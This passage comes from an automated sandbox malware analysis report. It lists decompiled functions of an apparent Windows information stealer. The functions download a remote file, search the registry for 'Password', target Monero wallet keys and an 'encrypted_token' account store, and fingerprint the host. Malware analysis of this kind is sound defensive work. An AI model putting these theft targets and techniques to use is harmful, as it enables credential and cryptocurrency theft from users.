InternetOpenA.WININET(007E0DE2,00000001,00000000,00000000,00000000), ref: 007C615F
StrCmpCA.SHLWAPI(?,012DE818), ref: 007C6197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 007C61DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 007C6203
InternetReadFile.WININET(?,?,00000400,?), ref: 007C622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 007C625A
CloseHandle.KERNEL32(?,?,00000400), ref: 007C6299
InternetCloseHandle.WININET(?), ref: 007C62A3
InternetCloseHandle.WININET(00000000), ref: 007C62B0

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 140540df7bd80fe30595f19668607146596780b0d129a8205af44eac43db9027
Instruction ID: 89287495b6eb50c205b80b34e8ce6ec4140713d0716a67f994829f389d68b9a2
Opcode Fuzzy Hash: 140540df7bd80fe30595f19668607146596780b0d129a8205af44eac43db9027
Instruction Fuzzy Hash: 78515EB1A10208ABDF20DF50CC89FEE7779BB44705F10849DA605AB181DBB86E89DF95

Function 007C7310 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 007C737A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007C73F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 007C744D
GetProcessHeap.KERNEL32(00000000,?), ref: 007C7492
HeapFree.KERNEL32(00000000), ref: 007C7499
task.LIBCPMTD ref: 007C7595

Strings

Password, xrefs: 007C7441

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 6658f70d9656e196f6d3ff9d50733805cb78784414d29d7d959614f7e5fd3a69
Instruction ID: ef458534b06e7308624937439687cf0dbaadc2609aa141b868bfa75611584fd2
Opcode Fuzzy Hash: 6658f70d9656e196f6d3ff9d50733805cb78784414d29d7d959614f7e5fd3a69
Instruction Fuzzy Hash: 2E61E8B5904258DBDB24DB50DC45FD9B7B8BB48300F0081EDE649A6141DFB4ABC9CF91

Function 007CB8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007C9E60: LocalAlloc.KERNEL32(00000040,?), ref: 007C9EFE

lstrlen.KERNEL32(00000000), ref: 007CBADD

Part of subcall function 007D88D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 007D88F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 007CBB0B
lstrlen.KERNEL32(00000000), ref: 007CBBE3
lstrlen.KERNEL32(00000000), ref: 007CBBF7

Strings

AccountTokens, xrefs: 007CB9A9
AccountId, xrefs: 007CBB02
SELECT service, encrypted_token FROM token_service, xrefs: 007CBA4B
AccountTokens, xrefs: 007CB91A

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3171688271-1079375795
Opcode ID: 7be2d3d327d83b8b9d5bcfe39c047e0d3d553f038df57ee974f3c8aa73fbb309
Instruction ID: e37c03e96d47668db704e23507cea2d8dfd4c5791972a5efd608b4bfd4d54214
Opcode Fuzzy Hash: 7be2d3d327d83b8b9d5bcfe39c047e0d3d553f038df57ee974f3c8aa73fbb309
Instruction Fuzzy Hash: E0A13172910148EBCF14EBA0DD9AEEE7338BF54300F44456AF40766291EF796E48CB62

Function 007D7BA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,012DE608,00000000,?,007E0DFC,00000000,?,00000000), ref: 007D7BD0
RtlAllocateHeap.NTDLL(00000000), ref: 007D7BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 007D7BF8
wsprintfA.USER32 ref: 007D7C4C

Strings

%d MB, xrefs: 007D7C43
@, xrefs: 007D7BED

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 2095ce1eaba279137f0c831f8f12906ea21d5c5a17a6f985e6a8b5191805e97d
Instruction ID: dfca5c06cc2299a5a82df42249ba5fe83dca025059ce27ad2df5a55769a55260
Opcode Fuzzy Hash: 2095ce1eaba279137f0c831f8f12906ea21d5c5a17a6f985e6a8b5191805e97d
Instruction Fuzzy Hash: AC210BF1D58248ABDB14DFD4CC49FAEB778FB44B14F104509F605BB280D77859018BA5

Function 007D7E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 007D7EC6
wsprintfA.USER32 ref: 007D7EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 007D7F1B
RegCloseKey.ADVAPI32(00000000), ref: 007D7F2C
RegCloseKey.ADVAPI32(00000000), ref: 007D7F39

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

RegQueryValueExA.KERNEL32(00000000,012DE4A0,00000000,000F003F,?,00000400), ref: 007D7F8C
lstrlen.KERNEL32(?), ref: 007D7FA1
RegQueryValueExA.KERNEL32(00000000,012DE500,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,007E0B24), ref: 007D8039
RegCloseKey.KERNEL32(00000000), ref: 007D80A8
RegCloseKey.ADVAPI32(00000000), ref: 007D80BA

Strings

%s\%s, xrefs: 007D7EED

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: b03d1862b19d61ab54ed636de1cf36e361e920f4b6a0513566e75cf48e2bff6e
Instruction ID: 9eee07bd54576a88add779f3a117563ae4deabd1c6bd52a0e1391f8f72e5703a
Opcode Fuzzy Hash: b03d1862b19d61ab54ed636de1cf36e361e920f4b6a0513566e75cf48e2bff6e
Instruction Fuzzy Hash: 522119B191421CABDB24DB54DC85FD9B3B9FB48700F00C199A649AA280DF756E86CFE4

Function 007C4800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C483B
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4852
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4868
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007C4889
InternetCrackUrlA.WININET(00000000,00000000), ref: 007C4899

Strings

<, xrefs: 007C4819

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: de329f437ca99fc3dabd0ff71f8c41e22dbbd58da12cc808f0c7e45a660ea6d6
Instruction ID: 48f6585f5e3727610ca6da6700fa0efaa6bc93e198702be0fc05f71dc9c7c9c5
Opcode Fuzzy Hash: de329f437ca99fc3dabd0ff71f8c41e22dbbd58da12cc808f0c7e45a660ea6d6
Instruction Fuzzy Hash: 35214FB1D00209EBDF14DFA4E849ADE7B75FB45324F108629F925A72C1EB706A05CF91

Function 007D7130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D7144
RtlAllocateHeap.NTDLL(00000000), ref: 007D714B
RegOpenKeyExA.KERNEL32(80000002,012CC320,00000000,00020119,00000000), ref: 007D717D
RegQueryValueExA.KERNEL32(00000000,012DE578,00000000,00000000,?,000000FF), ref: 007D719E
RegCloseKey.ADVAPI32(00000000), ref: 007D71A8

Strings

Windows 11, xrefs: 007D715D

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 9b06ace114628c394276c290d91d48f06caae21585ce6a98ecf4ef227b88e605
Instruction ID: c195dabeb0af9158f1e4aa0995d79eb7107b9450702fd7a2b862a589d67e58af
Opcode Fuzzy Hash: 9b06ace114628c394276c290d91d48f06caae21585ce6a98ecf4ef227b88e605
Instruction Fuzzy Hash: E601A2B4A18348BFEB00DFE4DC8AF6E7778EB48701F104194FA049B281E6749E01DB50

Function 007D71C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D71D4
RtlAllocateHeap.NTDLL(00000000), ref: 007D71DB
RegOpenKeyExA.KERNEL32(80000002,012CC320,00000000,00020119,007D7159), ref: 007D71FB
RegQueryValueExA.KERNEL32(007D7159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 007D721A
RegCloseKey.ADVAPI32(007D7159), ref: 007D7224

Strings

CurrentBuildNumber, xrefs: 007D7211

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 0f40d11ac771b6f129bf57723780675c6539999523dc40b70e5785897935e287
Instruction ID: 5911a1620dfb12fcb2165bf51fc5faae8668331a40d286c54061666910ce43f2
Opcode Fuzzy Hash: 0f40d11ac771b6f129bf57723780675c6539999523dc40b70e5785897935e287
